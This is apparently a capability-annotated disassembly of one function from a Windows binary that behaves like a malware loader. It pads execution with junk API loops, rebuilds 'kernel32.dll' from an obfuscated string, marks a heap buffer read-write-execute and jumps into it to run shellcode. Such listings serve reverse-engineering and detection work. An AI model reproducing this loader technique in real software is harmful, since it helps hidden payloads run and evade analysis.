Function at 0x4280c0
Capabilities:
Allocate or change rwx memory
Clear file content
Execute shellcode via indirect call
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc94
mov eax, dword [0x42e120]
xor eax, ebp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xc88], 0x518560
mov eax, dword [ebp - 0xc88]
add eax, 1
mov dword [ebp - 0xc8c], eax
mov ecx, dword [ebp - 0xc88]
mov dl, byte [ecx]
mov byte [ebp - 0xc8d], dl
add dword [ebp - 0xc88], 1
cmp byte [ebp - 0xc8d], 0
jne 0x4280ec
mov eax, dword [ebp - 0xc88]
sub eax, dword [ebp - 0xc8c]
mov dword [ebp - 0xc94], eax
cmp dword [ebp - 0xc94], 0x4cad2
jne 0x42817d
push 0x518560
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x31295
jne 0x42817d
push str.Dajetumida
push str._s__c
push 0x518560
call fcn.00401e47
add esp, 8
fldz
fstp dword [esp]
call fcn.004010f0
fstp st(0)
push 0
call fcn.00402853
fstp st(0)
add esp, 4
push 0
call fcn.0040269c
add esp, 4
push 0
call fcn.0040262e
add esp, 4
mov dword [ebp - 8], 0
jmp 0x42818f
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x3a47128
jge 0x428223
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp dword [0x4d7f934], 0xfe5
jne 0x4281ba
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL__hread]
cmp dword [0x4d7f934], 0xc89
jne 0x4281dc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
cmp dword [ebp - 8], 0x744649
jle 0x42821e
cmp dword [ebp - 0x28], 0x79463ce
je 0x42821e
cmp dword [ebp - 0x10], 0x4fa77696
je 0x42821e
cmp dword [0x4d7f934], 0x2b0
jne 0x42821c
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.DLL_ZombifyActCtx]
push 0
call dword [sym.imp.KERNEL32.DLL_AddAtomW]
jmp 0x428223
jmp 0x428186
mov eax, dword [0x42f92c]
mov dword [0x4d7f934], eax
mov dword [ebp - 0x30], 0
jmp 0x42823f
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0x51c994
jge 0x4282a1
cmp dword [0x4d7f934], 0x4d2
jne 0x428269
lea edx, [ebp - 0x34]
push edx
push 0
lea eax, [ebp - 0x438]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameA]
cmp dword [ebp - 0x30], 0x470c56
jne 0x428284
mov ecx, dword [0x4d7f934]
add ecx, 0xf0575
mov dword [0x4d7f934], ecx
cmp dword [0x4d7f934], 0x6ee
jne 0x42829f
push 0
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
jmp 0x428236
mov dword [ebp - 0xc3c], 0
jmp 0x4282bc
mov eax, dword [ebp - 0xc3c]
add eax, 1
mov dword [ebp - 0xc3c], eax
cmp dword [ebp - 0xc3c], 0x532885
jge 0x428314
cmp dword [0x4d7f934], 0xab9
jne 0x4282dc
push 0
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
cmp dword [ebp - 0xc3c], 0x38d0e8
jne 0x4282fc
mov ecx, dword [0x4d7f934]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [0x4d7f59c], eax
cmp dword [0x4d7f934], 0x5b0
jne 0x428312
mov dword [0x4d7f588], 0x868fee8a
jmp 0x4282ad
mov dword [ebp - 0xc40], 0
jmp 0x42832f
mov edx, dword [ebp - 0xc40]
add edx, 1
mov dword [ebp - 0xc40], edx
cmp dword [ebp - 0xc40], 0x3c731b
jge 0x428353
cmp dword [ebp - 0xc40], 0x2fed6
jne 0x428351
mov eax, dword [0x42f578]
mov dword [0x4d945b0], eax
jmp 0x428320
mov dword [ebp - 0xc44], 0
jmp 0x42836e
mov ecx, dword [ebp - 0xc44]
add ecx, 1
mov dword [ebp - 0xc44], ecx
mov edx, dword [ebp - 0xc44]
cmp edx, dword [0x4d7f934]
jae 0x4283df
mov dword [0x4d7f920], 0
mov dword [0x4d7f924], 0
cmp dword [0x4d7f934], 0xcce
jne 0x4283ab
lea eax, [ebp - 0xc48]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetBinaryTypeW]
mov ecx, dword [ebp - 0xc44]
call fcn.00427f20
cmp dword [ebp - 0xc44], 4
jne 0x4283dd
push str.kignel32.dll
push 0x518560
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov byte [0x518561], 0x65
mov byte [0x518562], 0x72
jmp 0x42835f
mov dword [ebp - 0xc4c], 0
jmp 0x4283fa
mov ecx, dword [ebp - 0xc4c]
add ecx, 1
mov dword [ebp - 0xc4c], ecx
cmp dword [ebp - 0xc4c], 0x4b2db3
jge 0x428424
cmp dword [ebp - 0xc4c], 0xa27db
jne 0x428422
push 0x518560
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x4d7f92c], eax
jmp 0x4283eb
lea edx, [ebp - 4]
push edx
push 0x40
mov eax, dword [0x4d7f934]
push eax
mov ecx, dword [0x4d7f59c]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push 0x42f580
call fcn.00428040
call fcn.00427f10
mov dword [ebp - 0xc50], 0
jmp 0x428467
mov edx, dword [ebp - 0xc50]
add edx, 1
mov dword [ebp - 0xc50], edx
cmp dword [ebp - 0xc50], 0x8afeee
jge 0x428521
cmp dword [0x4d7f934], 0xa14
jne 0x4284cd
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov dword [ebp - 0xc84], 0
push 0x2e
push 0
lea eax, [ebp - 0xc80]
push eax
call fcn.00408950
add esp, 0xc
lea ecx, [ebp - 0xc84]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CommConfigDialogW]
cmp dword [ebp - 0xc50], 0x87f75f
jne 0x4284df
jmp dword [0x4d7f59c]
mov edx, dword [0x4d7f5a4]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x11da
jne 0x42851c
push 0
call dword [sym.imp.KERNEL32.DLL_RemoveVectoredExceptionHandler]
push 0
push 0
call sub.KERNEL32.DLL_Module32FirstW
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetProcessPriorityBoost]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateSemaphoreA]
jmp 0x428458
mov ecx, dword [ebp - 0x38]
xor ecx, ebp
call fcn.00401d5d
mov esp, ebp
pop ebp
ret